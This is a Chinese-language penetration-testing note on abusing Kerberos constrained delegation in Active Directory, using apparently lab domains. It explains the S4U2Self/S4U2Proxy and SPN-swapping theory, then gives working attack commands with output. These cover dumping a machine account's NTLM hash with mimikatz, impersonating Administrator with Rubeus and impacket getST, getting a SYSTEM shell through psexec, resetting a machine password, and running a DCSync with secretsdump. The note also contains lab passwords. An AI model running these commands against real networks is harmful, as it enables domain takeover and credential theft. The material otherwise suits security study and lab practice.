Constrained Delegation

Constrained delegation 最早在 Windows Server 2003 中引入,旨在限制服务器可以代表用户进行模拟的服务范围,从而使管理员能够指定应用程序的信任边界。
受限委派的一个示例是研究人员登录到一个报表应用程序。当用户登录时,后端数据库服务器必须应用该研究人员的数据库权限,而不是应用程序运行所使用的服务帐户的权限。
Pasted image 20260305200941.png

1. 利用

配置了约束委派的计算机将能够在另一台计算机上模拟任何用户。要配置此功能,需要修改对象的 userAccountControl 属性,使其包含 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 标志(需要 SeEnableDelegationPrivilege 权限),并将 msDS-AllowedToDelegateTo 属性设置为我们想要以任何用户身份进行身份验证的目标 spn。

1.1. AP-REQ

首先回顾一下AP-REP请求的结构
Pasted image 20260305201642.png
此请求包含两个元素:一个身份验证器和一个 TGS 票据
TGS ticket也由两部分组成:一个未加密的部分(包含请求服务的SPN);还有一个加密的部分(包含用户的信息和一个会话密钥)
因为请求服务的名字没有被加密,所以攻击者可以实现修改请求的服务且保证请求失效

在受限委派中,委派仅允许用于特定的 SPN 列表。如果攻击者攻陷了一个启用了受限委派的服务账户,他们就可以将接收到的身份验证尝试中继到列表中的一个或多个 SPN

通过使用 S4U2Proxy 扩展,因为它允许其代表用户获取一个有效的 TGS 票据。因此,攻击者拥有一个针对特定 SPN、面向某个特定服务帐户的有效 TGS 票据。然而,攻击者无法将该 TGS 票据用于不同的服务帐户因为 TGS 票据的内容是使用所请求服务的密钥进行加密的。另一个服务帐户将无法解密该 TGS 票据或服务票据(ST)
Pasted image 20260305202506.png
此外:如果服务帐户公开了多个服务,那么攻击者就可以修改 SPN,以访问该帐户所公开的其他服务

这种情况在计算机帐户中非常常见。这些都是公开多个服务的服务帐户,例如 CIFS、SPOOLER 或 TERMSRV。完整的列表可在 Microsoft 网站上找到。

在这种情况下,如果受限委派通常只允许将身份验证委派给由计算机帐户公开的某个特定服务,例如 SQL 服务,攻击者就可以在其 AP-REQ 请求中修改 SPN,从而访问该帐户提供的所有其他服务,例如 CIFS 服务。如果被委派的用户是目标计算机上的本地管理员,那么攻击者就可以攻陷该计算机

Pasted image 20260305202836.png

局限性: 必须等待某个用户对被攻陷的服务账户进行身份验证。特权用户是否会定期登录并不总是显而易见的。****

1.2. 冒充任意用户

如果我们攻陷了一个配置了受限委派的账户,我们就可以将身份验证委派给该账户授权列表中提供的任何服务,如果此约束委派允许 protocol transition,我们就可以任意冒充任何人,对这些服务进行身份验证
Pasted image 20260305203125.png

如果启用了协议转换,我们还可以使用 S4U2Self 扩展。它允许某个服务代表 any user 为自身获取一个可转发的服务票证
由于我们可以以任何用户的身份获取 TGS 票据,因此无需等待任何人进行身份验证,就可以执行之前的攻击

1.3. On Windows

1.3.1. 枚举

使用powerview进行枚举

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainComputer -TrustedToAuth

logoncount                    : 35
badpasswordtime               : 12/31/1600 6:00:00 PM
distinguishedname             : CN=DMZ01,CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
objectclass                   : {top, person, organizationalPerson, user...}
badpwdcount                   : 0
lastlogontimestamp            : 3/23/2023 10:09:29 AM
objectsid                     : S-1-5-21-1870146311-1183348186-593267556-1118
samaccountname                : DMZ01$
localpolicyflags              : 0
codepage                      : 0
samaccounttype                : MACHINE_ACCOUNT
countrycode                   : 0
cn                            : DMZ01
accountexpires                : NEVER
whenchanged                   : 3/30/2023 2:51:35 PM
instancetype                  : 4
usncreated                    : 12870
objectguid                    : eaebb114-2638-40ec-9617-8715c4d3057a
operatingsystem               : Windows Server 2019 Standard
operatingsystemversion        : 10.0 (17763)
lastlogoff                    : 12/31/1600 6:00:00 PM
msds-allowedtodelegateto      : {www/WS01.INLANEFREIGHT.LOCAL, www/WS01}objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata         : 1/1/1601 12:00:00 AM
serviceprincipalname          : {WSMAN/DMZ01, WSMAN/DMZ01.INLANEFREIGHT.LOCAL, TERMSRV/DMZ01,
                                TERMSRV/DMZ01.INLANEFREIGHT.LOCAL...}
lastlogon                     : 4/1/2023 10:02:15 AM
iscriticalsystemobject        : False
usnchanged                    : 41084
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATIONwhencreated                   : 10/14/2022 12:10:03 PM
primarygroupid                : 515
pwdlastset                    : 3/23/2023 10:20:32 AM
msds-supportedencryptiontypes : 28
name                          : DMZ01
dnshostname                   : DMZ01.INLANEFREIGHT.LOCAL

账户 DMZ01$ 设置了 TRUSTED_TO_AUTH_FOR_DELEGATION UAC 属性,这意味着已配置受限委派 with protocol transition ,且唯一允许用于委派的服务是 www/WS01.inlanefreight.local

1.3.2. 获取TGS票据

使用Rubeus代表任意用户请求一个有效的TGS票据,以访问WS01主机上的HTTP服务。
首先需要获取到一个计算机账户DMZ01$的NTLM哈希

PS C:\Tools> .\mimikatz.exe privilege::debug sekurlsa::msv exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::msv

Authentication Id : 0 ; 414620 (00000000:0006539c)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 4/1/2023 7:39:12 AM
SID               : S-1-5-96-0-2
        msv :
         [00000003] Primary
         * Username : DMZ01$
         * Domain   : INLANEFREIGHT
         * NTLM     : ff955e93a130f5bb1a6565f32b7dc127
         * SHA1     : f9232403611aa86f51a05c64e1abd86ce4021ff1
<SNIP>

1.3.3. 使用S4U双阶段 执行约束委派攻击

然后使用Rubeus执行约束委派攻击

PS C:\Tools> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Using rc4_hmac hash: ff955e93a130f5bb1a6565f32b7dc127
[*] Building AS-REQ (w/ preauth) for: 'INLANEFREIGHT.LOCAL\DMZ01$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFMDCCBSygAwIBBaEDAgEWooIEMjCCBC5hggQqMIIEJqADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9D
      QUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUlHSFQuTE9DQUyjggPcMIID2KADAgESoQMC
      <SNIP>


[*] Action: S4U

[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (fe80::c872:c68d:a355:e6f3%11)
[*] Building S4U2self request for: 'DMZ01$@INLANEFREIGHT.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator@INLANEFREIGHT.LOCAL' to 'DMZ01$@INLANEFREIGHT.LOCAL'[*] base64(ticket.kirbi):

      doIGJDCCBiCgAwIBBaEDAgEWooIFEDCCBQxhggUIMIIFBKADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9D
      QUyiEzARoAMCAQGhCjAIGwZTUUwwMSSjggTPMIIEy6ADAgESoQMCAQGiggS9BIIEuY/s7XKb3zZMjzGB
      <SNIP>

[*] Impersonating user 'Administrator' to target SPN 'www/WS01.inlanefreight.local'[*]   Final ticket will be for the alternate service 'http'[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (fe80::c872:c68d:a355:e6f3%11)
[*] Building S4U2proxy request for service: 'www/WS01.inlanefreight.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'http'
[*] base64(ticket.kirbi) for SPN 'http/WS01.inlanefreight.local':

      doIG/jCCBvqgAwIBBaEDAgEWooIF4DCCBdxhggXYMIIF1KADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9D
      QUyiKzApoAMCAQKhIjAgGwRodHRwGxhXUzAxLmlubGFuZWZyZWlnaHQubG9jYWyjggWHMIIFg6ADAgES
      <SNIP>
  • 首先请求了一个TGT,这样我们可以处于DMZ01$的上下文当中。
  • 然后执行一次S4U2Self请求,获取一个以Administrator身份的TGS票据
  • 最后,使用这个TGS票据进行一次S4U2Proxy请求,并将SPN更新为与我们所请求的内容相同,这里为HTTP服务

1.4. On Linux

通常使用Impacket来进行利用

1.4.1. 查找具有委派权限的账户

impacket-findDelegation  INLANEFREIGHT.LOCAL/carole.rose:jasmine

Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra

AccountName    AccountType  DelegationType                      DelegationRightsTo                                                                                   
-------------  -----------  ----------------------------------  --------------------------------                                                                     
EXCHG01$       Computer     Constrained                         ldap/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL                
EXCHG01$       Computer     Constrained                         ldap/DC01.INLANEFREIGHT.LOCAL  
callum.dixon   Person       Unconstrained                       N/A                                                                                                  
beth.richards  Person       Constrained w/ Protocol Transition  TERMSRV/DC01.INLANEFREIGHT.LOCAL                                                                     
beth.richards  Person       Constrained w/ Protocol Transition  TERMSRV/DC01                      
DMZ01$         Computer     Constrained w/ Protocol Transition  www/WS01.INLANEFREIGHT.LOCAL     
DMZ01$         Computer     Constrained w/ Protocol Transition  www/WS01                          
SQL01$         Computer     Unconstrained                       N/A

这里可以看到三种类型的委派:

  • 非约束:该账户具有非约束委派权限
  • 约束委派:此账户具有约束委派,但不支持协议转换
  • 约束委派(含协议转换):此账户具有约束委派,并且支持协议转换

这里我们假设已经攻陷了账户 beth.richards 。该账户设置了支持协议转换的约束委派,并且唯一允许进行委派的服务是 TERMSRV/DC01.INLANEFREIGHT.LOCAL 。

也可以使用nxc

┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# nxc ldap dc01.pirate.htb -u a.white_adm -p 'Admin123' --query "(sAMAccountName=a.white_adm)" "msDS-AllowedToDelegateTo"
LDAP        10.129.190.148  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        10.129.190.148  389    DC01             [+] pirate.htb\a.white_adm:Admin123
LDAP        10.129.190.148  389    DC01             [+] Response for object: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
LDAP        10.129.190.148  389    DC01             msDS-AllowedToDelegateTo http/WEB01.pirate.htb
LDAP        10.129.190.148  389    DC01                                  HTTP/WEB01

1.4.2. 伪造TGS

使用impacket-getST伪造一个有效的TGS,然后用任意的用户身份访问DC01上的TERMSRV服务

getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator

Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra

[-] CCache file is not found. Skipping... 
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
  • 这里会生成一个票据,并且保存在当前目录下的Administrator.ccache,然后我们可以使用这个TGS访问DC01上的TERMSRV服务。

然后可以用PSEXEC做一个ptt

export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra

[+] Impacket Library Installation Path: /home/plaintext/.local/lib/python3.9/site-packages/impacket
[+] StringBinding ncacn_np:DC01[\pipe\svcctl]
[+] Using Kerberos Cache: Administrator.ccache
[+] SPN CIFS/DC01@INLANEFREIGHT.LOCAL not found in cache[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@INLANEFREIGHT.LOCAL[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@INLANEFREIGHT.LOCAL to CIFS/DC01@INLANEFREIGHT.LOCAL and hoping for the best
[*] Requesting shares on DC01.....
[*] Found writable share ADMIN$
[*] Uploading file SmXURDVG.exe
[*] Opening SVCManager on DC01.....
[*] Creating service DBou on DC01.....
[*] Starting service DBou.....
[+] Using Kerberos Cache: Administrator.ccache
[+] SPN CIFS/DC01@INLANEFREIGHT.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@INLANEFREIGHT.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@INLANEFREIGHT.LOCAL to CIFS/DC01@INLANEFREIGHT.LOCAL and hoping for the best
[+] Using Kerberos Cache: Administrator.ccache
[+] SPN CIFS/DC01@INLANEFREIGHT.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@INLANEFREIGHT.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@INLANEFREIGHT.LOCAL to CIFS/DC01@INLANEFREIGHT.LOCAL and hoping for the best[!] Press help for extra shell commands
[+] Using Kerberos Cache: Administrator.ccache
[+] SPN CIFS/DC01@INLANEFREIGHT.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for TERMSRV/DC01@INLANEFREIGHT.LOCAL
[+] Using TGS from cache
[+] Changing sname from TERMSRV/DC01@INLANEFREIGHT.LOCAL to CIFS/DC01@INLANEFREIGHT.LOCAL and hoping for the best
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

观察输出可以得知:

  • 此工具多次查找特定SPN的票据,但没有找到
  • 然后继续查找与目标服务账号兼容的其他票据
  • 一旦找到,它就会将 SPN 更新为它正在寻找的那个,这里是 CIFS/DC01@INLANEFREIGHT.LOCAL

1.5. 案例

2. 快速利用

我们需要一个机器帐户,为其配置无约束委派,然后强制域控制器向该机器进行身份验证。这需要能够添加机器帐户以及 DNS 条目(为了进行强制操作 - Kerberos 使用名称而不是 IP 地址)

#配置
Set-ADComputer -Identity FS01 -Add @{'msDS-AllowedToDelegateTo'=@('ldap/dc.redelegate.vl')}
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

#验证 
Get-ADComputer FS01 -Properties msDS-AllowedToDelegateTo | Select-Object Name, msDS-AllowedToDelegateTo

#修改机器密码
bloodyAD --host 10.129.130.206 -d redelegate.vl -u 'HELEN.FROST' -p 'Admin123' set password 'FS01$' Admin123

#请求ST
impacket-getST 'redelegate.vl/FS01$:Admin123' -spn ldap/dc.redelegate.vl -impersonate DC

#DCSync 
impacket-secretsdump -dc-ip 10.129.130.206 -k -no-pass DC.redelegate.vl
getST.py -spn HTTP/WEB01.pirate.htb -impersonate Administrator 'pirate.htb/a.white_adm:Admin123' -dc-ip 10.129.190.148

3. References: